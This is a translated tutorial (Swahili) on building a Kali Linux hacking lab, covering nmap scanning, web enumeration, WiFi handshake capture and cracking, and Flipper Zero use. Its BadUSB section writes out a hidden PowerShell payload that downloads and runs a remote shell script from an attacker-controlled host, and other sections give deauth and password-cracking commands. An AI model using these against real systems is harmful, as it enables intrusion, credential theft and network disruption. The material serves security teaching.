Toleo lililotafsiriwa: Kali Linux Fundamentals: Build Your Hacking Laboratory

Njia ya Hacker: Mfululizo wa Sehemu 5

Sehemu 1: Utangulizi → Sehemu 2: Ustadi wa Flipper → Sehemu 3: Misingi ya Kali → Sehemu 4: Unyonyaji → Sehemu 5: Ukaguzi Kamili

Katika Sehemu 1 na 2, ulinakili kadi, ukachambua masafa ya redio na kuelewa kwa nini "usalama" wengi ni mchezo tu wa kuigiza. Umeona udhaifu kutoka nje. Sasa unaingia ndani na kuuona kutoka mtazamo wa mshambuliaji.

Kali Linux ni usambazaji wa kiwango cha tasnia kwa majaribio ya kupenya. Inakuja imepakiwa mapema na zana zaidi ya 600 za usalama. Hii inaweza kuonekana inazidi. Mafunzo mengi yanakutupa kwenye maji ya kina na amri usizozielewa na bila muktadha wa kwa nini ni muhimu.

Tunafanya hivi kwa njia tofauti. Mwishoni mwa makala hii, utakuwa na maabara inayofanya kazi, utaelewa upelelezi wa mtandao kwa kiwango cha msingi, na utakamata WiFi handshake yako ya kwanza. Kila hatua inajengwa juu ya ile ya awali.

Sehemu 1: Kujenga Maabara Yako

Wapimaji wa kupenya wa kitaalamu hawatumii Kali kwenye mashine yao kuu. Wanatumia mazingira yaliyotengwa ambayo yanaweza kuwekwa upya, kupigwa picha na kuharibiwa bila kuathiri mfumo wao mkuu. Utafanya vivyo hivyo.

Chaguo A: Mashine Pepe (Inapendekezwa kwa Kujifunza)

Mashine pepe inakupa mazingira salama zaidi ya kujifunza. Unaweza kupiga picha za maendeleo yako, kufanya makosa na kurudi nyuma mara moja.

Utahitaji Nini

• Mashine mwenyeji: 16GB+ RAM, 50GB+ nafasi ya hifadhi, CPU ya kisasa yenye usaidizi wa virtualization
• Programu ya virtualization: VirtualBox (bure) au VMware Workstation Player (bure kwa matumizi binafsi)
• Kali Linux: VM rasmi iliyojengwa mapema kutoka kali.org

Mradi: Kuanzisha Kali VM

Muda: Dakika 30-45

Hatua:

1. Pakua picha ya Kali VM kwa hypervisor yako (VirtualBox au VMware)
2. Ondoa jalada ulilolipakua (7-Zip inapendekezwa kwa Windows)
3. Ingiza VM kwenye hypervisor yako
4. Weka rasilimali: kiwango cha chini 4GB RAM (8GB inapendekezwa), 2+ cores za CPU
5. Wezesha adapta ya mtandao katika hali ya "Bridged" kwa ufikiaji kamili wa mtandao
6. Anzisha VM na uingie na sifa za chaguo-msingi: kali / kali
7. Fungua terminal na uendeshe: sudo apt update && sudo apt full-upgrade -y
8. Tengeneza snapshot inayoitwa "Fresh Install" kwa urejeshaji rahisi

Thibitisha mafanikio: Unaweza kufungua terminal, kuendesha whoami na kuona kali.

Chaguo B: Vifaa Vilivyowekwa (Kwa Mazoezi ya Kina)

Ukishazoea Kali, vifaa vilivyowekwa vinaondoa mzigo wa VM na kuwezesha ufikiaji kamili wa vifaa, ambao ni muhimu kwa majaribio ya wireless.

Mapendekezo ya Vifaa

Kwa sasa, VM ni bora. Vifaa vilivyowekwa vinakuwa muhimu unapohitaji hali ya kufuatilia kwa majaribio ya wireless (inafunikwa baadaye katika makala hii).

Chaguo C: Live USB (Uhifadhi Sifuri)

Live USB inaendesha Kali moja kwa moja bila usakinishaji. Kila kitu kinapotea unapozima. Ni muhimu kwa majaribio kwenye vifaa tofauti, lakini utapoteza kazi yako kila kipindi isipokuwa utengeneze sehemu ya kudumu.

bash# Create bootable USB on Linux/Mac
sudo dd if=kali-linux-*.iso of=/dev/sdX bs=4M status=progress
# Replace sdX with your USB device (check with 'lsblk')
# On Windows: Use Rufus or balenaEtcher

dd Inaharibu Data

Amri ya dd inaandika moja kwa moja kwenye diski bila uthibitisho. Angalia jina la kifaa mara tatu. Kuandika kwenye kifaa kibaya kutafuta diski hiyo kabisa.

Sehemu 2: Mtazamo wa Terminal

Kabla ya kugusa zana za usalama, unahitaji kuwa na urahisi kwenye terminal. Hii si hiari. GUI ipo kwenye Kali, lakini kazi halisi inafanyika kwenye mstari wa amri.

Urambazaji Muhimu

bash# Know where you are
pwd                    # Print working directory

# Move around
cd /home/kali          # Go to home directory
cd ..                  # Go up one level
cd -                   # Go to previous directory

# See what's here
ls                     # List files
ls -la                 # List all files with details
ls -lah                # Human-readable sizes

# Read files
cat filename           # Display entire file
less filename          # Scrollable view (q to quit)
head -n 20 filename    # First 20 lines
tail -f filename       # Follow file in real-time (logs)

Kupandisha Mamlaka

Zana nyingi za usalama zinahitaji ufikiaji wa root. Katika Kali, sudo inakupa mamlaka ya muda ya root.

bashsudo command           # Run single command as root
sudo -i                # Start root shell (be careful)
whoami                 # Check current user
id                     # Show user and group IDs

Root kwa Uwajibikaji

Kuendesha kama root maana yake hakuna wavu wa usalama. Kosa la kuandika kama rm -rf / litaharibu kila kitu. Kali ya kisasa inazuia amri hii mahususi, lakini kanuni inabaki: elewa unachoendesha kabla ya kuendesha.

Usimamizi wa Michakato

bashps aux                 # All running processes
top                    # Real-time process viewer
htop                   # Better process viewer (install if needed)

# Control processes
ctrl+c                 # Stop current process
ctrl+z                 # Suspend process
bg                     # Resume in background
fg                     # Bring to foreground

# Kill processes
kill PID               # Graceful termination
kill -9 PID            # Force kill (last resort)

Amri za Mtandao

baship a                   # Show network interfaces
ip route               # Show routing table
ping -c 4 8.8.8.8     # Test connectivity
curl ifconfig.me       # Your public IP

# DNS lookups
nslookup google.com
dig google.com

Mradi: Mwelekeo wa Terminal

Muda: Dakika 15

Kazi:

1. Pata anwani yako ya IP kwenye mtandao wa ndani ukitumia ip a
2. Tambua gateway yako ya chaguo-msingi ukitumia ip route
3. Ping gateway yako kuthibitisha muunganisho
4. Orodhesha faili zote katika /etc zilizopangwa kwa wakati wa kubadilisha: ls -lt /etc | head
5. Soma mistari 50 ya kwanza ya /etc/passwd: head -n 50 /etc/passwd

Lengo: Unapaswa kuweza kurambaza, kuangalia hali ya mtandao na kusoma faili bila kufikiria.

Sehemu 3: Upelelezi wa Mtandao na Nmap

Nmap (Network Mapper) ni zana muhimu zaidi utakayojifunza. Inagundua hosts, inatambua huduma, inagundua mifumo ya uendeshaji na inachora ramani ya topolojia ya mtandao. Kila kitu kingine kinajengwa juu ya matokeo ya nmap.

Skani Yako ya Kwanza

Hebu tuskani mtandao wako. Kwanza, tambua masafa ya mtandao wako:

bash# Find your local IP and subnet
ip a | grep inet
# Look for something like: inet 192.168.1.100/24
# The /24 means your network is 192.168.1.0-255

bash# Basic discovery scan (your network only)
sudo nmap -sn 192.168.1.0/24

# What this does:
# -sn = ping scan (no port scanning, just host discovery)
# /24 = scan all 256 addresses in this subnet

Utaona matokeo kama haya:

textNmap scan report for 192.168.1.1
Host is up (0.0025s latency).
MAC Address: AA:BB:CC:DD:EE:FF (Manufacturer Name)

Nmap scan report for 192.168.1.50
Host is up (0.0042s latency).
MAC Address: 11:22:33:44:55:66 (Another Manufacturer)

Skani hiyo ya kwanza inakuambia: "Vifaa hivi vinapatikana kwenye mtandao wangu." Sasa tuulize maswali ya kina zaidi.

Kugundua Huduma

Ukishajua hosts zipi zipo, unataka kujua huduma zipi zinaendeshwa.

bash# Scan a single target for open ports and services
sudo nmap -sV 192.168.1.1
# -sV = Version detection (probe open ports for service info)

Matokeo ya kawaida:

textPORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1
80/tcp   open  http     nginx 1.18.0
443/tcp  open  ssl/http nginx 1.18.0

Kugundua Mfumo wa Uendeshaji

bash# Detect OS (requires root)
sudo nmap -O 192.168.1.1

# Combined scan: OS detection + service versions + default scripts
sudo nmap -A 192.168.1.1

Kuelewa Hali za Bandari

Nmap inaripoti bandari katika hali kadhaa:

• open - Programu inakubali muunganisho kikamilifu. Hii ndiyo washambuliaji wanatafuta.
• closed - Bandari inapatikana lakini hakuna programu inayosikiliza. Host inafanya kazi lakini hakuna kitu hapo.
• filtered - Firewall au kichujio kinazuia uchunguzi. Haiwezekani kuamua kama imefunguliwa au imefungwa.
• unfiltered - Bandari inapatikana lakini nmap haiwezi kuamua kama imefunguliwa au imefungwa.

Aina za Skani na Siri

bash# TCP Connect scan (default, noisy but reliable)
sudo nmap -sT target

# SYN scan (stealthier, default with root)
sudo nmap -sS target

# UDP scan (slow but important - many services use UDP)
sudo nmap -sU target

# Scan all 65535 ports (thorough but slow)
sudo nmap -p- target

# Scan specific ports
sudo nmap -p 22,80,443,8080 target

# Top 1000 common ports (default behavior)
sudo nmap target

Nmap Scripting Engine (NSE)

NSE inapanua nmap na hati maalum za kugundua udhaifu, kuhesabu huduma na zaidi.

bash# Run default safe scripts
sudo nmap -sC target

# Check for vulnerabilities
sudo nmap --script vuln target

# SMB enumeration (Windows shares)
sudo nmap --script smb-enum-shares target

# HTTP enumeration
sudo nmap --script http-enum target

# List available scripts
ls /usr/share/nmap/scripts/ | head -20

Mradi: Chora Ramani ya Mtandao Wako

Muda: Dakika 30

Mahitaji ya awali: Jua masafa ya mtandao wako kutoka ip a

1. Gundua hosts zote: sudo nmap -sn YOUR_NETWORK/24
2. Orodhesha hosts zilizogundulika na anwani zao za MAC
3. Chagua router yako (kawaida .1) na uendeshe: sudo nmap -sV -sC YOUR_ROUTER
4. Tambua bandari zote zilizo wazi na huduma kwenye router yako
5. Endesha sudo nmap -A YOUR_COMPUTER kuona mashine yako inaonyesha nini

Andika hati: Tengeneza faili ya maandishi inayoorodhesha kila kifaa, IP yake, MAC na huduma. Hii ni ramani yako ya mtandao.

Sehemu 4: Upelelezi wa Wavuti

Skani yako ya nmap huenda ilipata huduma za HTTP (bandari 80, 443, 8080). Hebu tueleze kinachoendeshwa hapo.

Whatweb: Utambuzi wa Haraka wa Huduma

bash# Identify web technologies
whatweb http://192.168.1.1

Mfano wa matokeo:

texthttp://192.168.1.1 [200 OK] Country[RESERVED][ZZ],
HTTPServer[nginx/1.18.0], IP[192.168.1.1],
Title[Router Admin], nginx[1.18.0]

Nikto: Skana ya Udhaifu wa Wavuti

bash# Scan for common web vulnerabilities
nikto -h http://192.168.1.1

# This checks for:
# - Outdated server software
# - Dangerous files/CGIs
# - Misconfigurations
# - Default credentials

Kuhesabu Saraka: Nini Kimefichwa?

Seva za wavuti mara nyingi zina saraka ambazo hazijaunganishwa kutoka ukurasa mkuu: paneli za msimamizi, faili za usanidi, faili za chelezo.

bash# Gobuster: directory brute-forcing
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirb/common.txt

Matokeo ya kawaida:

text/admin   (Status: 301)
/backup  (Status: 403)
/config  (Status: 200)
/login   (Status: 200)

Mahali pa Wordlists

Kali inajumuisha wordlists pana katika /usr/share/wordlists/. Saraka za kawaida zaidi: dirb/, dirbuster/, rockyou.txt (nenosiri) na seclists/ (mkusanyiko kamili).

Mradi: Kagua Kiolesura cha Wavuti cha Router Yako

Muda: Dakika 20

1. Endesha whatweb http://YOUR_ROUTER_IP kutambua seva
2. Endesha nikto -h http://YOUR_ROUTER_IP kuangalia udhaifu
3. Endesha gobuster dir -u http://YOUR_ROUTER_IP -w /usr/share/wordlists/dirb/small.txt
4. Tembelea saraka zilizogundulika kwenye kivinjari
5. Andika paneli za msimamizi, nambari za toleo au matokeo ya kuvutia

Matokeo ya kawaida: Kurasa za msimamizi wa router zilizo wazi na sifa za chaguo-msingi.

Sehemu 5: Upelelezi wa Wireless

Hapa mambo yanakuwa ya kuvutia. Mitandao ya WiFi inatangaza kila wakati, na kwa zana sahihi, unaweza kukamata handshake za uthibitishaji: ubadilishanaji uliofichwa unaotokea wakati kifaa kinapounganisha.

Mahitaji ya Vifaa

WiFi yako ya ndani huenda isifanye kazi kwa hili. Unahitaji adapta inayosaidia hali ya kufuatilia na sindano ya pakiti. Inapendekezwa: Alfa AWUS036ACH ($50) au Alfa AWUS036ACM ($45). Hizi zinafanya kazi moja kwa moja na Kali.

Kuelewa Hali ya Kufuatilia

Hali ya kawaida ya WiFi ("managed mode") inapokea pakiti zinazolenga kifaa chako tu. Hali ya kufuatilia inakamata pakiti zote katika masafa, trafiki ya kila kifaa kwenye chaneli.

bash# Check your wireless interfaces
iwconfig
# Look for your adapter (often wlan0 or wlan1)

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode
sudo airmon-ng start wlan0
# Your interface is now wlan0mon

Kuskani Mitandao

bash# Start capturing wireless traffic
sudo airodump-ng wlan0mon

# You'll see:
# BSSID  = Router MAC address
# PWR    = Signal strength (higher = closer)
# CH     = Channel
# ENC    = Encryption (WPA2, WPA3, OPN)
# ESSID  = Network name

# Press Ctrl+C to stop

Unachokiona ni kila mtandao wa WiFi katika masafa, mipangilio yao ya usalama, na mara nyingi vifaa vilivyounganishwa nao. Hiki ndicho war driver anaona anaposkani mitaa.

Kukamata Handshake

Kifaa kinapounganisha na mtandao wa WPA2, kuna four-way handshake. Ukikamata handshake hii, unaweza kujaribu kuvunja nenosiri nje ya mtandao.

bash# Focus on your target network (your own network!)
sudo airodump-ng -c CHANNEL --bssid ROUTER_MAC -w capture wlan0mon
# -c CHANNEL = Target's channel from previous scan
# --bssid = Target router's MAC address
# -w capture = Save to files starting with "capture"

# Now wait for a device to connect...

# Or force a reconnection (on YOUR network only):
# In a new terminal:
sudo aireplay-ng --deauth 5 -a ROUTER_MAC wlan0mon
# This sends 5 deauth packets, disconnecting clients
# They automatically reconnect, generating a handshake

Unapokamata handshake, airodump-ng inaonyesha [ WPA handshake: XX:XX:XX:XX:XX:XX ] kwenye kona ya juu kulia.

Mashambulizi ya Deauth ni Kinyume cha Sheria

Kutuma pakiti za deauthentication kwa mitandao usiyomiliki ni uhalifu wa shirikisho chini ya Computer Fraud and Abuse Act (nchini Marekani) na sheria sawa mahali pengine. Jaribu tu kwenye mtandao wako. Lengo ni kuelewa udhaifu, si kushambulia wengine.

Kuvunja Handshake

Na handshake iliyokamatwa, unaweza kujaribu kuvunja nenosiri nje ya mtandao ukitumia wordlist:

bash# Crack using a wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# If the password is in the wordlist, you'll see:
# KEY FOUND! [ password123 ]

# For stronger passwords, use hashcat (GPU-accelerated)
# First, convert capture format:
cap2hccapx capture-01.cap capture.hccapx

# Then crack with hashcat:
hashcat -m 22000 capture.hccapx /usr/share/wordlists/rockyou.txt

Ukweli wa Nguvu ya Nenosiri

rockyou.txt ina nenosiri zaidi ya milioni 14 kutoka uvujaji halisi wa data. Ikiwa nenosiri lako la WiFi ni "password123" au "summer2024" au jina la mbwa wako, linaweza kuvunjwa kwa sekunde. Nenosiri la nasibu la herufi 12+ lingehitaji mamilioni ya miaka kwa brute-force.

Mradi: Jaribu Usalama wa WiFi Yako

Muda: Dakika 45

Mahitaji ya awali: Adapta ya WiFi ya nje yenye usaidizi wa hali ya kufuatilia

1. Wezesha hali ya kufuatilia: sudo airmon-ng start wlan0
2. Skani mitandao: sudo airodump-ng wlan0mon
3. Andika chaneli na BSSID ya mtandao wako
4. Kamata kwenye chaneli yako: sudo airodump-ng -c CHANNEL --bssid YOUR_BSSID -w mywifi wlan0mon
5. Unganisha tena kifaa kwenye WiFi yako (au tumia deauth kwenye mtandao WAKO tu)
6. Thibitisha kukamata handshake
7. Jaribu dhidi ya rockyou.txt: aircrack-ng -w /usr/share/wordlists/rockyou.txt mywifi-01.cap

Matokeo: Ikiwa nenosiri lako lilipatikana, libadilishe mara moja kuwa kitu cha nasibu na kirefu (herufi 20+).

Sehemu 6: Kuunganisha Flipper Zero Yako

Unakumbuka matokeo yote ya kukamata kutoka Sehemu 2? Hebu tuyaunganishe na mtiririko wako wa kazi na Kali.

Kuhamisha Faili

bash# Connect Flipper via USB
# It appears as a mass storage device

# Mount if not auto-mounted
sudo mount /dev/sda1 /mnt/flipper

# Your captures are in:
/mnt/flipper/subghz/       # Sub-GHz captures
/mnt/flipper/nfc/          # NFC dumps
/mnt/flipper/infrared/     # IR captures
/mnt/flipper/lfrfid/       # 125kHz RFID
/mnt/flipper/badusb/       # BadUSB scripts

Kuchambua NFC Dumps

bash# Install libnfc tools
sudo apt install libnfc-bin mfoc mfcuk

# Flipper saves NFC as .nfc text format
# Convert to binary for analysis:
python3 flipper_nfc_to_mfd.py card.nfc card.mfd

# Analyze MIFARE Classic dump
hexdump -C card.mfd | less

Uchambuzi wa Sub-GHz

bash# Flipper's .sub files are text-based
cat garage_door.sub

# Contains:
# - Frequency (315MHz, 433MHz, etc.)
# - Protocol or RAW data
# - Timing information

# For deeper RF analysis, use:
# - Universal Radio Hacker (URH)
# - GNU Radio
# - rtl_433 (with SDR hardware)

Utengenezaji wa BadUSB

Tengeneza payloads za BadUSB kwenye Kali, jaribu kwenye Flipper:

bash# Flipper uses DuckyScript-compatible syntax
# Create payload on Kali:
cat > kali_connect.txt << 'EOF'
DELAY 1000
GUI r
DELAY 500
STRING powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8000/shell.ps1')"
ENTER
EOF

# Host the payload from Kali:
python3 -m http.server 8000

# Copy to Flipper's badusb folder
cp kali_connect.txt /mnt/flipper/badusb/

Payloads za BadUSB ni Zenye Nguvu

Hati hizi zinaendeshwa kiotomatiki zinapounganishwa. Payload mbaya inaweza kusakinisha backdoors, kuiba sifa au kuharibu data kwa sekunde. Tumia tu kwenye mashine zako kwa majaribio. Kamwe usiwache Flipper yako mahali ambapo mtu mwingine anaweza kuiunganisha.

Sehemu 7: Uhifadhi na Mtiririko wa Kazi

Wapimaji wa kupenya wa kitaalamu hawatumii zana tu. Wanaandika hati ya kila kitu. Uhifadhi mzuri wa hati unatenganisha wapya na wataalamu.

Kuandika Maelezo na CherryTree

bash# Install CherryTree (hierarchical note-taking)
sudo apt install cherrytree

# Organize notes by:
# - Target/network
# - Reconnaissance
# - Enumeration
# - Vulnerabilities
# - Exploitation attempts
# - Post-exploitation

Kuhifadhi Matokeo ya Nmap

bash# Save in all formats
sudo nmap -sV -sC -oA scan_results target

# Creates:
# scan_results.nmap (human-readable)
# scan_results.xml  (parseable)
# scan_results.gnmap (greppable)

Kurekodi Kipindi

bash# Log entire terminal session
script session_$(date +%Y%m%d_%H%M%S).log

# Now every command and output is recorded
# Type 'exit' to stop logging

Njia ya Hacker

Mfululizo wa sehemu 5 unaokupeleka kutoka udadisi hadi uwezo.

Sehemu 1: Utangulizi Sehemu 2: Ustadi wa Flipper Sehemu 3: Misingi ya Kali ✓ Sehemu 4: Unyonyaji Sehemu 5: Ukaguzi Kamili

Orodha ya Ukaguzi wa Sehemu 3

☐ Kuanzisha Maabara: Kali VM inaendeshwa, imesasishwa, snapshot imehifadhiwa

☐ Terminal: Raha na urambazaji, ruhusa, udhibiti wa michakato

☐ Nmap: Mtandao umechorwa ramani, huduma zimetambuliwa, router imeskaniwa

☐ Upelelezi wa Wavuti: Kiolesura cha wavuti cha router kimechambuliwa na whatweb/nikto

☐ Wireless: Hali ya kufuatilia imewezeshwa, mitandao imeskaniwa

☐ Handshake: WiFi handshake yako imekamatwa na kujaribiwa

☐ Flipper: Faili zimehamishwa, mtiririko wa kazi umeeleweka

☐ Uhifadhi: Maelezo yamepangwa, skani zimehifadhiwa

Nini Kifuatacho

Umejenga maabara yako na kujifunza awamu ya upelelezi. Unaweza kugundua hosts, kutambua huduma na kukamata handshake za wireless. Unaelewa washambuliaji wanaona nini wanapotazama mtandao.

Katika Sehemu 4, tunahamia kutoka upelelezi hadi unyonyaji. Utajifunza:

• Metasploit Framework, kisu cha Uswisi cha unyonyaji
• Mtiririko wa kawaida wa kazi wa unyonyaji wa udhaifu
• Mbinu za baada ya unyonyaji: kinachotokea baada ya ufikiaji wa awali
• Kupandisha mamlaka: kutoka mtumiaji wa kawaida hadi msimamizi
• Pivoting: kutumia mfumo uliokiukwa kushambulia wengine

Upelelezi unakuambia milango iko wapi. Unyonyaji unakufundisha jinsi ya kupita kwao.

Umechora ramani ya eneo. Sasa unajifunza kuliabiri. Sehemu 4 inakupeleka kutoka mtazamaji hadi opereta.

Tutaonana katika Sehemu 4.